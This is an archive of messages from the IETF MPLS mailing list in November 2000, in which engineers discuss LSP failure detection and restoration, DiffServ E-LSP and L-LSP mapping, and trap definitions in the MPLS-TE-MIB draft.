[153.39.43.11]) id QQjnmf22831 for ; Wed, 1 Nov 2000 22:20:25 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnmf19646 for ; Wed, 1 Nov 2000 22:19:23 GMT Received: from miles.dataconnection.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp2.datcon.co.uk [192.91.191.8]) id QQjnmf08884 for ; Wed, 1 Nov 2000 22:19:22 GMT Received: by miles.dataconnection.com with Internet Mail Service (5.5.2650.21) id ; Wed, 1 Nov 2000 22:19:17 -0000 Message-ID: <6DEA508A9A0ED31192E80000F6CC176E2CA693@monk.datcon.co.uk> From: Adrian Farrel To: curtis@avici.com, Charles Smith Cc: mpls@UU.NET Subject: RE: LSP failure detection Date: Wed, 1 Nov 2000 22:19:09 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk A couple of observations to add to Curtis' good response. >> Can someone please explain the mechanisms involved to detect >> a node or link failure within a particular LSP? How can MPLS >> as a technology guarantee < 1 second LSP failure restoration >> (contrast to SONET)? I need to understand exactly how a >> failure is detected, how the backup path is activated or how >> fast re-route directs the LSP around the link or node failure. >> >> I am just a marketing guy who has read the drafts and still >> needs the engineers to explain the concepts :-) > >MPLS is not a link layer. MPLS typically runs over POS (PPP over >SONET). "Typically" may be stretching a point :-) >In this case you have linear SONET, no protection, but you >have the capability to detect failure. PPP can also in principle >provide LQM but in practice no one offers this (yet) because it >requires (feasible but non-trivial) hardware support to be accurate. > >Note that if you run MPLS over 1GbE or 10GbE or other link layer then >you lose the SONET failure detection. > >If you don't have link layer notification of failure then you have IGP >hello processing and RSVP refresh, both of which are slow. There is also RSVP Hello, which is somewhat faster. The "recommended" value in the draft uses a timer of 5ms and an interval count of 3.5 giving failure detection in 17.5ms. Not speedy, but not hugely slow. >The second part of the two part problem is completing restoration >after an error is detected. For some implementations of link >bundling, the bundle of N links now has N-1 capacity and 1) usually no >immediate restoration is needed, the loss of capacity is signaled and >any ingress may opt to do a minimally disruptive reroute (using >make-before-break there is no loss but delay discontinuity and a >possible brief period of reordering) or 2) if capacity of N-1 is >insufficient the lowest priority LSP (highest numeric setup priority) >are preempted. Here you have 1) local-protect as an MPLS feature >where immediate restoration is initiated at the point of failure and >the local-protect bit is dropped in the RESV to indicate that >protection is no longer available because the restoration path is >being used, 2) PathError messages and IGP adjacency loss sent as >feedback to the ingress if local-protect is not in use. The ingress, >having received PathError can use a precomputed and presignaled backup >if this feature is enabled. The backup should be available if it was >disjoint and SRLG information was accurate. IGP adjacency loss >indicates what link is at fault and is used if either there was no >precomputed backup or the SRLG information was not accurate and the >backup went down simultaneously. Most of this applies only to bundled links, but your second 2) is of relevance in all cases. Some people consider that PathErr propagation may be too slow in this case since the message will be handled by the RSVP code on each intermediate LSR. The new Notify message in draft-ietf-mpls-generalized-signaling is sent direct to the target (ingress) LSR and need not be intercepted by intermediate LSRs (and need not follow the path of the LSP if this is a sub-optimal route). This should provide a (slightly?) faster method of propagating LSP failure information. Adrian -- Adrian Farrel mailto:af@dataconnection.com Network Convergence Group Data Connection Ltd., Chester, UK http://www.dataconnection.com/ Tel: +44 (0) 1244 313440 Fax: +44 (0) 1244 312422 From owner-mpls@UU.NET Wed Nov 1 19:07:40 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA09679 for ; Wed, 1 Nov 2000 19:07:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnmm17198; Thu, 2 Nov 2000 00:07:16 GMT Received: by mail-control.mail.uu.net id QQjnmm21758 for mpls-outgoing; Thu, 2 Nov 2000 00:06:49 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnmm21704 for ; Thu, 2 Nov 2000 00:06:44 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnmm03903 for ; Thu, 2 Nov 2000 00:06:28 GMT Received: from workhorse.fictitious.org by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjnmm14460 for ; Thu, 2 Nov 2000 00:06:26 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id TAA29642; Wed, 1 Nov 2000 19:05:04 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011020005.TAA29642@workhorse.fictitious.org> To: "Eleonora Manconi (TEI)" cc: "'mpls@UU.NET'" Reply-To: curtis@avici.com Subject: Re: draft-ietf-mpls-diff-ext-07.txt In-reply-to: Your message of "Thu, 26 Oct 2000 09:05:05 +0200." <1367DA832A24D311A95C0008C791C770060C6098@eitrmnt100.tei.ericsson.se> Date: Wed, 01 Nov 2000 19:05:03 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message <1367DA832A24D311A95C0008C791C770060C6098@eitrmnt100.tei.ericsson.se >, "Eleonora Manconi (TEI)" writes: > Hi all, > I have some question about draft-ietf-mpls-diff-ext-07.txt: > -in E-LSP method, PSC is inferred from EXP field. The question is: PSC means > only priority or I can infer also other information like loss, delay, etc. fr > om EXP field? Are these information meaningful for MPLS? With unsignaled E-LSP a provider may confiugre any mapping of EXP to PHB and must set any queueing preference, queue weights or drop preferences associated with each PHB by configuration only. With L-LSP or signaled E-LSP, the PSC is explicitly signaled and the provider may either configure queueing preference, queue weights or drop preferences directly or configure a mapping from the sum of reservations of given types to queueing preference, queue weights or drop preferences (though I can personally only see the use in mapping sum of reservations at a PSC to queue weight). > -In which kind of scenarios it is (does it is?) meaningful the coexistence of > L-LSP and E-LSP? First your routers have to support both. Using unsignaled E-LSP might be simplest if it meets your requirements. Otherwise using signal E-LSP seems most flexible but using L-LSP is best if some links are ATM or FR. > Thank you in advance. > > Eleonora. Curtis From owner-mpls@UU.NET Wed Nov 1 22:26:14 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA26240 for ; Wed, 1 Nov 2000 22:26:14 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnmz26194; Thu, 2 Nov 2000 03:25:19 GMT Received: by mail-control.mail.uu.net id QQjnmz16597 for mpls-outgoing; Thu, 2 Nov 2000 03:24:49 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnmz16586 for ; Thu, 2 Nov 2000 03:24:45 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnmz08359 for ; Thu, 2 Nov 2000 03:23:53 GMT Received: from mail.chiaro.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: us.chiaro.com [63.88.196.33]) id QQjnmz21819 for ; Thu, 2 Nov 2000 03:23:52 GMT Received: by mail.chiaro.com with Internet Mail Service (5.5.2650.21) id ; Wed, 1 Nov 2000 21:23:52 -0600 Message-ID: <2383E22BDFF6D311BB8400B0D021A5076153C5@mail.chiaro.com> From: Steve Yao To: curtis@avici.com, "Eleonora Manconi (TEI)" Cc: "'mpls@UU.NET'" Subject: RE: draft-ietf-mpls-diff-ext-07.txt Date: Wed, 1 Nov 2000 21:23:51 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Curtis, Please see my comments below. > -----Original Message----- > From: Curtis Villamizar [mailto:curtis@workhorse.fictitious.org] > Sent: Wednesday, November 01, 2000 6:05 PM > To: Eleonora Manconi (TEI) > Cc: 'mpls@UU.NET' > Subject: Re: draft-ietf-mpls-diff-ext-07.txt > > > > In message > <1367DA832A24D311A95C0008C791C770060C6098@eitrmnt100.tei.ericsson.se > >, "Eleonora Manconi (TEI)" writes: > > Hi all, > > I have some question about draft-ietf-mpls-diff-ext-07.txt: > > -in E-LSP method, PSC is inferred from EXP field. The > question is: PSC means > > only priority or I can infer also other information like > loss, delay, etc. fr > > om EXP field? Are these information meaningful for MPLS? > > With unsignaled E-LSP a provider may confiugre any mapping of EXP to > PHB and must set any queueing preference, queue weights or drop > preferences associated with each PHB by configuration only. > > With L-LSP or signaled E-LSP, the PSC is explicitly signaled and the > provider may either configure queueing preference, queue weights or > drop preferences directly or configure a mapping from the sum of > reservations of given types to queueing preference, queue weights or > drop preferences (though I can personally only see the use in mapping > sum of reservations at a PSC to queue weight). > With E-LSP, no matter signaled or not, the mapping is always EXP to PHB. For signaled E-LSP, the queueing preference, queue weights, and drop preferences are determined by the PHB signaled. Thus there is no need to configure a mapping mentioned above. > > -In which kind of scenarios it is (does it is?) meaningful > the coexistence of > > L-LSP and E-LSP? > > First your routers have to support both. Using unsignaled E-LSP might > be simplest if it meets your requirements. Otherwise using signal > E-LSP seems most flexible but using L-LSP is best if some links are > ATM or FR. > > > Thank you in advance. > > > > Eleonora. > > Curtis > Steve From owner-mpls@UU.NET Thu Nov 2 00:59:04 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA05424 for ; Thu, 2 Nov 2000 00:59:03 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnnj25353; Thu, 2 Nov 2000 05:58:40 GMT Received: by mail-control.mail.uu.net id QQjnnj22322 for mpls-outgoing; Thu, 2 Nov 2000 05:58:07 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnnj22313 for ; Thu, 2 Nov 2000 05:58:06 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnnj19789 for ; Thu, 2 Nov 2000 05:57:51 GMT Received: from fsnt.future.futsoft.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.197.140.35]) id QQjnnj23874 for ; Thu, 2 Nov 2000 05:57:48 GMT Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com (Content Technologies SMTPRS 2.0.15) with ESMTP id ; Thu, 02 Nov 2000 11:30:34 +0530 Received: from manis (manis.future.futsoft.com [10.0.6.16]) by kailash.future.futsoft.com (8.7.1/8.7.1) with SMTP id LAA13283; Thu, 2 Nov 2000 11:14:08 +0530 Reply-To: From: "Manikantan S" To: Cc: Subject: Doubts in draft-ietf-mpls-te-mib-04.txt Date: Thu, 2 Nov 2000 11:21:20 +0530 Message-Id: <000b01c04490$ed5628c0$1006000a@future.futsoft.com> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello Thomas I have the following doubts and can you please clarify. 1) The Objects of the traps mplsTunnelUp, mplsTunnelDown, and mplsTunnelRerouted have been specified as mplsTunnelIndex, mplsTunnelInstance, mplsTunnelAdminStatus and mplsTunnelOperStatus. Since we use mplsTunnelIndex, mplsTunnelInstance and mplsTunnelIngressLSRId (triplet) to uniquely identify a Tunnel, the mplsTunnelIngressLSRId value too will be required as an object during the Trap generation. Should this value too be passed when a trap is generated? 2) The Description for "mplsTunnelTrapEnable" deals with the generation of mplsTunnelUp and mplsTunnelDown. Should the mplsTunnelRerouted be added too? or mplsTunnelRerouted trap needs to generated irrespective of the "mplsTunnelTrapEnable" value? thanks in advance with best regards Mani From owner-mpls@UU.NET Thu Nov 2 08:17:47 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA11538 for ; Thu, 2 Nov 2000 08:17:47 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnon08176; Thu, 2 Nov 2000 13:17:22 GMT Received: by mail-control.mail.uu.net id QQjnon00524 for mpls-outgoing; Thu, 2 Nov 2000 13:16:41 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjnon00515 for ; Thu, 2 Nov 2000 13:16:36 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnon19180 for ; Thu, 2 Nov 2000 13:15:58 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjnon16244 for ; Thu, 2 Nov 2000 13:15:53 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id IAA06578 for mpls@uu.net; Thu, 2 Nov 2000 08:15:52 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnon00346 for ; Thu, 2 Nov 2000 13:15:36 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnom17895 for ; Thu, 2 Nov 2000 13:14:25 GMT Received: from rtp-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjnom14187 for ; Thu, 2 Nov 2000 13:14:24 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA25330; Thu, 2 Nov 2000 08:12:34 -0500 (EST) Received: from tnadeau-pc02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id AAW20539; Thu, 2 Nov 2000 08:14:12 -0500 (EST) Message-Id: <4.3.2.7.2.20001102081048.04dc67a0@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 02 Nov 2000 08:11:59 -0500 To: From: "Thomas D. Nadeau" Subject: Re: Doubts in draft-ietf-mpls-te-mib-04.txt Cc: , arun Viswanathan , cheenu Srinivasan In-Reply-To: <000b01c04490$ed5628c0$1006000a@future.futsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk Mani, >Hello Thomas > >I have the following doubts and can you please clarify. > >1) The Objects of the traps mplsTunnelUp, mplsTunnelDown, and >mplsTunnelRerouted have been >specified as > mplsTunnelIndex, > mplsTunnelInstance, > mplsTunnelAdminStatus and > mplsTunnelOperStatus. > >Since we use mplsTunnelIndex, mplsTunnelInstance and mplsTunnelIngressLSRId >(triplet) to uniquely identify a Tunnel, the mplsTunnelIngressLSRId value >too will be required as an object during the Trap generation. Should this >value too be passed when a trap is generated? Yes, that is a typo on our part and is fixed in version -05 which we will be publising any day now. >2) The Description for "mplsTunnelTrapEnable" deals with the generation of >mplsTunnelUp and mplsTunnelDown. Should the mplsTunnelRerouted be added too? >or mplsTunnelRerouted trap needs to generated irrespective of the >"mplsTunnelTrapEnable" value? Yes, I believe so. --Tom From owner-mpls@UU.NET Thu Nov 2 09:32:19 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA03347 for ; Thu, 2 Nov 2000 09:32:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnos10974; Thu, 2 Nov 2000 14:31:16 GMT Received: by mail-control.mail.uu.net id QQjnos16816 for mpls-outgoing; Thu, 2 Nov 2000 14:30:42 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnos16809 for ; Thu, 2 Nov 2000 14:30:24 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnos10763 for ; Thu, 2 Nov 2000 14:30:06 GMT Received: from workhorse.fictitious.org by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjnos09499 for ; Thu, 2 Nov 2000 14:30:05 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id JAA34754; Thu, 2 Nov 2000 09:27:53 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011021427.JAA34754@workhorse.fictitious.org> To: Steve Yao cc: curtis@avici.com, "Eleonora Manconi (TEI)" , "'mpls@UU.NET'" Reply-To: curtis@avici.com Subject: Re: draft-ietf-mpls-diff-ext-07.txt In-reply-to: Your message of "Wed, 01 Nov 2000 21:23:51 CST." <2383E22BDFF6D311BB8400B0D021A5076153C5@mail.chiaro.com> Date: Thu, 02 Nov 2000 09:27:53 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message <2383E22BDFF6D311BB8400B0D021A5076153C5@mail.chiaro.com>, Steve Yao writes: > > > > With L-LSP or signaled E-LSP, the PSC is explicitly signaled and the > > provider may either configure queueing preference, queue weights or > > drop preferences directly or configure a mapping from the sum of > > reservations of given types to queueing preference, queue weights or > > drop preferences (though I can personally only see the use in mapping > > sum of reservations at a PSC to queue weight). > > > With E-LSP, no matter signaled or not, the mapping is always EXP to PHB. For > signaled E-LSP, the queueing preference, queue weights, and drop preferences > are determined by the PHB signaled. Thus there is no need to configure a > mapping mentioned above. Strictly speaking with signaled E-LSP, each LSP has a per EXP mapping to PHB. A signaled E-LSP can have more than one BA. You can also separate traffic by BA into separate signaled E-LSP if you need to know the sum of bandwidth per BA. This is a usage issue. With signaled E-LSP and MPLS you get the added information of the reserved bandwidth per BA if you limit yourself to one BA per LSP. If you want this information to help set queue weights, you can make it available and use it. This is something you can't do with diff-serv without MPLS. Curtis From owner-mpls@UU.NET Thu Nov 2 12:48:00 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA00510 for ; Thu, 2 Nov 2000 12:48:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnpf26079; Thu, 2 Nov 2000 17:47:05 GMT Received: by mail-control.mail.uu.net id QQjnpf09082 for mpls-outgoing; Thu, 2 Nov 2000 17:46:32 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnpf09003 for ; Thu, 2 Nov 2000 17:46:12 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnpe08307 for ; Thu, 2 Nov 2000 17:43:58 GMT Received: from rimmer.orchestream.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.orchestream.com [195.153.64.98]) id QQjnpe21724 for ; Thu, 2 Nov 2000 17:43:57 GMT Received: from s1000.orchestream.com (s1000.orchestream.com [192.168.0.16]) by rimmer.orchestream.com (8.9.3/8.9.3) with ESMTP id RAA06413 for ; Thu, 2 Nov 2000 17:40:59 GMT Received: by s1000.orchestream.com with Internet Mail Service (5.5.2650.21) id ; Thu, 2 Nov 2000 17:41:54 -0000 Message-ID: From: "Morgan, Richard" Cc: mpls@UU.NET Subject: RE: Doubts in draft-ietf-mpls-te-mib-04.txt Date: Thu, 2 Nov 2000 17:41:53 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk I note that there is not a trap to signal that an LSP has been configured, only that it has come up or has gone down. Say I have a piece of management software that moniters LSPs on a device would I be notified should someone attempt to create an LSP but it failed, ie it never changed state from down and hence it never sent a notification trap? Thanks Rich > Hello Thomas > > I have the following doubts and can you please clarify. > > 1) The Objects of the traps mplsTunnelUp, mplsTunnelDown, and > mplsTunnelRerouted have been > specified as > mplsTunnelIndex, > mplsTunnelInstance, > mplsTunnelAdminStatus and > mplsTunnelOperStatus. > > Since we use mplsTunnelIndex, mplsTunnelInstance and > mplsTunnelIngressLSRId > (triplet) to uniquely identify a Tunnel, the > mplsTunnelIngressLSRId value > too will be required as an object during the Trap generation. > Should this > value too be passed when a trap is generated? > > 2) The Description for "mplsTunnelTrapEnable" deals with the > generation of > mplsTunnelUp and mplsTunnelDown. Should the > mplsTunnelRerouted be added too? > or mplsTunnelRerouted trap needs to generated irrespective of the > "mplsTunnelTrapEnable" value? > > thanks in advance > with best regards > Mani > From owner-mpls@UU.NET Thu Nov 2 12:58:38 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA02996 for ; Thu, 2 Nov 2000 12:58:37 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnpf10477; Thu, 2 Nov 2000 17:57:48 GMT Received: by mail-control.mail.uu.net id QQjnpf09654 for mpls-outgoing; Thu, 2 Nov 2000 17:57:10 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjnpf09649 for ; Thu, 2 Nov 2000 17:56:57 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnpf11114 for ; Thu, 2 Nov 2000 17:56:32 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjnpf20751 for ; Thu, 2 Nov 2000 17:56:31 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id MAA13032 for mpls@uu.net; Thu, 2 Nov 2000 12:56:30 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnpf09537 for ; Thu, 2 Nov 2000 17:55:16 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnpf04243 for ; Thu, 2 Nov 2000 17:55:08 GMT Received: from rtp-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjnpf18879 for ; Thu, 2 Nov 2000 17:55:08 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id MAA07371; Thu, 2 Nov 2000 12:53:26 -0500 (EST) Received: from tnadeau-pc02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id AAX02166; Thu, 2 Nov 2000 12:55:06 -0500 (EST) Message-Id: <4.3.2.7.2.20001102124947.04de64e0@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 02 Nov 2000 12:52:21 -0500 To: "Morgan, Richard" From: "Thomas D. Nadeau" Subject: RE: Doubts in draft-ietf-mpls-te-mib-04.txt Cc: mpls@UU.NET In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk Hi Richard, >I note that there is not a trap to signal that an LSP has been configured, >only that it has come up or has gone down. Say I have a piece of management >software that moniters LSPs on a device would I be notified should someone >attempt to create an LSP but it failed, ie it never changed state from down >and hence it never sent a notification trap? No, according to my understanding (and implementation) of the current traps in the MPLS-TE-MIB, no trap would be issued for mis-configuration of a tunnel. I am however, open to the possibility of adding such a trap if there is enough support for it. I would like to hear from others as to what their opinion is. In particular, I would like to hear from operators, since such traps can adversely impact or improve their networks. --Tom >Thanks > >Rich > > > > Hello Thomas > > > > I have the following doubts and can you please clarify. > > > > 1) The Objects of the traps mplsTunnelUp, mplsTunnelDown, and > > mplsTunnelRerouted have been > > specified as > > mplsTunnelIndex, > > mplsTunnelInstance, > > mplsTunnelAdminStatus and > > mplsTunnelOperStatus. > > > > Since we use mplsTunnelIndex, mplsTunnelInstance and > > mplsTunnelIngressLSRId > > (triplet) to uniquely identify a Tunnel, the > > mplsTunnelIngressLSRId value > > too will be required as an object during the Trap generation. > > Should this > > value too be passed when a trap is generated? > > > > 2) The Description for "mplsTunnelTrapEnable" deals with the > > generation of > > mplsTunnelUp and mplsTunnelDown. Should the > > mplsTunnelRerouted be added too? > > or mplsTunnelRerouted trap needs to generated irrespective of the > > "mplsTunnelTrapEnable" value? > > > > thanks in advance > > with best regards > > Mani > > From owner-mpls@UU.NET Thu Nov 2 13:23:54 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09516 for ; Thu, 2 Nov 2000 13:23:53 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnph29336; Thu, 2 Nov 2000 18:22:21 GMT Received: by mail-control.mail.uu.net id QQjnph22450 for mpls-outgoing; Thu, 2 Nov 2000 18:21:29 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjnph22397 for ; Thu, 2 Nov 2000 18:21:13 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnph24919 for ; Thu, 2 Nov 2000 18:20:24 GMT Received: from mail.hamdard.net.pk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.135.57.5]) id QQjnph23592 for ; Thu, 2 Nov 2000 18:20:22 GMT Received: from faisal-s ([203.135.57.205]) by mail.hamdard.net.pk (8.9.3/8.9.3) with SMTP id XAA21717 for ; Thu, 2 Nov 2000 23:19:26 +0500 Message-ID: <002d01c044f9$e2ddb520$cd3987cb@faisal-s> From: "Faisal S. Naik" To: "mpls uunet" Subject: Re: Doubts in draft-ietf-mpls-te-mib-04.txt Date: Thu, 2 Nov 2000 23:22:39 +0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello friends, I'm a student of MS and studying MPLS for my thesis purposes. If anyone doesnt mind can i get a trace of the MPLS packet or data... for studying purposes... I mean such as that one gets to study in Packet Analysers... As for the management of LSp is concerned, my knowlege was limited to the fact that one could only manage, layer 3 devices... Anyway i will read the draft for mpls te-mib as specified here.. Can i get some more info on that? Regards, -----Original Message----- From: Morgan, Richard Cc: mpls@UU.NET Date: Thursday, November 02, 2000 10:48 PM Subject: RE: Doubts in draft-ietf-mpls-te-mib-04.txt > >I note that there is not a trap to signal that an LSP has been configured, >only that it has come up or has gone down. Say I have a piece of management >software that moniters LSPs on a device would I be notified should someone >attempt to create an LSP but it failed, ie it never changed state from down >and hence it never sent a notification trap? > >Thanks > >Rich > > >> Hello Thomas >> >> I have the following doubts and can you please clarify. >> >> 1) The Objects of the traps mplsTunnelUp, mplsTunnelDown, and >> mplsTunnelRerouted have been >> specified as >> mplsTunnelIndex, >> 